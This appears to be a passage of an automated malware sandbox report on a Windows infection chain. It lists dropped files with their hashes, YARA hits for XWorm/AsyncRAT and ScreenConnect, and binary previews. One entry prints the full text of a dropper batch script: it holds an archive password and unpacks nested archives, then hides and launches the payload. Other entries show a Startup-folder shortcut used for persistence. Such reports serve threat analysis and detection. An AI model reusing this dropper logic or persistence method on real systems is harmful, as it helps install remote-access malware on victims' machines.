Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X91lnt.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016235001\software1.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Dec 16 19:02:15 2024, mtime=Mon Dec 16 19:02:15 2024, atime=Mon Dec 16 19:02:15 2024, length=46080, window=hide
Category:	dropped
Size (bytes):	759
Entropy (8bit):	5.034090111788703
Encrypted:	false
SSDEEP:	12:8iEcg4xbE4WCBcXdY//CmsY0LAXaKE0+jA4UrHJRJ6MbhSjIBmV:8iRMycX+KmsH2BCA4U9RbSjIBm
MD5:	A95E3355041016467D6E5FD02F654B83
SHA1:	D2D83553BBC09FB8312AEE28550CDD837A598E1E
SHA-256:	C078B61A609F2462B260D0D7625D7B421565532DC78FC3B35881ABFE915C0F04
SHA-512:	F65654F36D9B89676682E701F9381520736277328E746B836FA4F45F2C6A69E76888D83359F36F270505C23642017279E8C9005AAD88415FC9AD947808C989BE
Malicious:	false
Preview:	L..................F.... .....g.O...<^g.O....g.O..........................t.:..DG..Yr?.D..U..k0.&...&......vk.v....=..6.O..j(jg.O......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y ............................%..A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......CW.^.Y................................R.o.a.m.i.n.g.....`.2......YH. .X91lnt.exe..F......YH..YH...........................2.W.X.9.1.l.n.t...e.x.e.......X...............-.......W...........3..K.....C:\Users\user\AppData\Roaming\X91lnt.exe........\.....\.....\.....\.....\.X.9.1.l.n.t...e.x.e.`.......X.......715575...........hT..CrF.f4... .[......,.......hT..CrF.f4... .[......,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\X91lnt.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016235001\software1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46080
Entropy (8bit):	5.79836148663518
Encrypted:	false
SSDEEP:	768:PVpCR6VwouSC0mhxU5tXBl8BvYzTfkbh5vk4qI/1aLOohbt7JH:9qgvE2rXD9kbhddqkuOoVx9
MD5:	A5F523E1C127D30AAA5CE1482586E8FF
SHA1:	AA9EEB004C0951AAFE998609E7DE74EEB9DB8E35
SHA-256:	81A5836C993246FAA9E76BC1C68606CBE52E751972A29F8A903A6F79B6BCD425
SHA-512:	5B0BFEC2D1F09AAA755873C1C1E037442688DB8D11A2A3A9401A084212D393BDB424EAE02FEC9F2CDF44F7A707224BCC812A5E5022F6683F974077F557703F5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\X91lnt.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\X91lnt.exe, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k`g................................. ........@.. ....................... ............@.....................................S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........W..tq......&.....................................................(.....r...p. .=l...(.....r...p. .(T..s.........s.........s.........s..........r1..p. p{..rI..p. ..}..ra..p. .....ry..p. ..e..r...p. .w...((....r...p. .Q...r...p. /?..&(....&+..+5sR... .... .'..oS...(...~....-.(A...(3...~....oT...&.-..ri..p. .+..r...p. S....r...p.r...p. .~Z...............j..................sU.............."(C...+.:.t....(>...+..r...p. E/...r...p*.r

C:\Windows\Installer\62bf7a.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {0F0F3A06-836F-1282-FBD2-C84A34E3C174}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13398016
Entropy (8bit):	7.966459541138759
Encrypted:	false
SSDEEP:	196608:OWh0cGwcWh0cGLWh0cGeWh0cGJWh0cGuWh0cG8Wh0cG:OWacWWaciWacRWaceWacHWacXWac
MD5:	1C6D80F5F4B47856E0E9E502AAFBF450
SHA1:	004CFB1E27B80646363D60DAEA30E9EFF35A6297
SHA-256:	39645266B47FAE6D0BAA88DEFBC6A426EB90B12C8C3F3B7B2AFB36BAE3EF8DAD
SHA-512:	E6DD96CB40057AEFBED7A75E23277D065415001BF4EAFFA07247D9D8DE431165D94F2C31C91BE14E6767FA0B1C654C5F158DB7FFE8B4001B6A091486B52ABFAF
Malicious:	false
Preview:	......................>.......................................................\|...h...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\62bf7c.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {0F0F3A06-836F-1282-FBD2-C84A34E3C174}, Create Time/Date: Mon Oct 28 17:43:52 2024, Last Saved Time/Date: Mon Oct 28 17:43:52 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
Category:	dropped
Size (bytes):	13398016
Entropy (8bit):	7.966459541138759
Encrypted:	false
SSDEEP:	196608:OWh0cGwcWh0cGLWh0cGeWh0cGJWh0cGuWh0cG8Wh0cG:OWacWWaciWacRWaceWacHWacXWac
MD5:	1C6D80F5F4B47856E0E9E502AAFBF450
SHA1:	004CFB1E27B80646363D60DAEA30E9EFF35A6297
SHA-256:	39645266B47FAE6D0BAA88DEFBC6A426EB90B12C8C3F3B7B2AFB36BAE3EF8DAD
SHA-512:	E6DD96CB40057AEFBED7A75E23277D065415001BF4EAFFA07247D9D8DE431165D94F2C31C91BE14E6767FA0B1C654C5F158DB7FFE8B4001B6A091486B52ABFAF
Malicious:	false
Preview:	......................>.......................................................\|...h...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC324.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	432214
Entropy (8bit):	6.585017631990022
Encrypted:	false
SSDEEP:	6144:OnuH2aCGw1ST1wQLdqv5uH2aCGw1ST1wQLdqvO:ouH2anwohwQUv5uH2anwohwQUvO
MD5:	A0C8FFE35A35A3D3B901A5D15503B5CD
SHA1:	61D4D7B37B2AAD797B140647951EDBEC614A2E5C
SHA-256:	AA1368E7C82D81831FCF37D6E1AEDAC17B57F61EF1FB298248E04248E420B4DD
SHA-512:	8E8A14750ADA65F7886E591C99D2C5FD7E8733921CB158A8E8299D785D05D1A96A081B1363EF4B80F94C9202A2468B2FEF2A3A7D48934BB01AAB6DA6E21E416D
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\MSIC324.tmp, Author: Joe Security
Preview:	...@IXOS.@.....@Ox.Y.@.....@.....@.....@.....@.....@......&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}'.ScreenConnect Client (9e47e837d725d609)..ScreenConnect.ClientSetup.msi.@.....@.....@.....@......DefaultIcon..&.{0F0F3A06-836F-1282-FBD2-C84A34E3C174}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (9e47e837d725d609)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{D4E4D97C-5DFC-6B86-08C0-057CF642FAAD}^.C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll.@.......@.....@.....@......&.{525B1545-9FB4-F323-BE42-402142A539C8}f.C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe.@.......@.....@.....@......&.{0BDDDE1C-6CC8-E6D9-5127-2C6FEC7F2C8A}c.C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileMa

C:\Windows\Installer\MSIC335.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207360
Entropy (8bit):	6.573348437503042
Encrypted:	false
SSDEEP:	3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
MD5:	BA84DD4E0C1408828CCC1DE09F585EDA
SHA1:	E8E10065D479F8F591B9885EA8487BC673301298
SHA-256:	3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
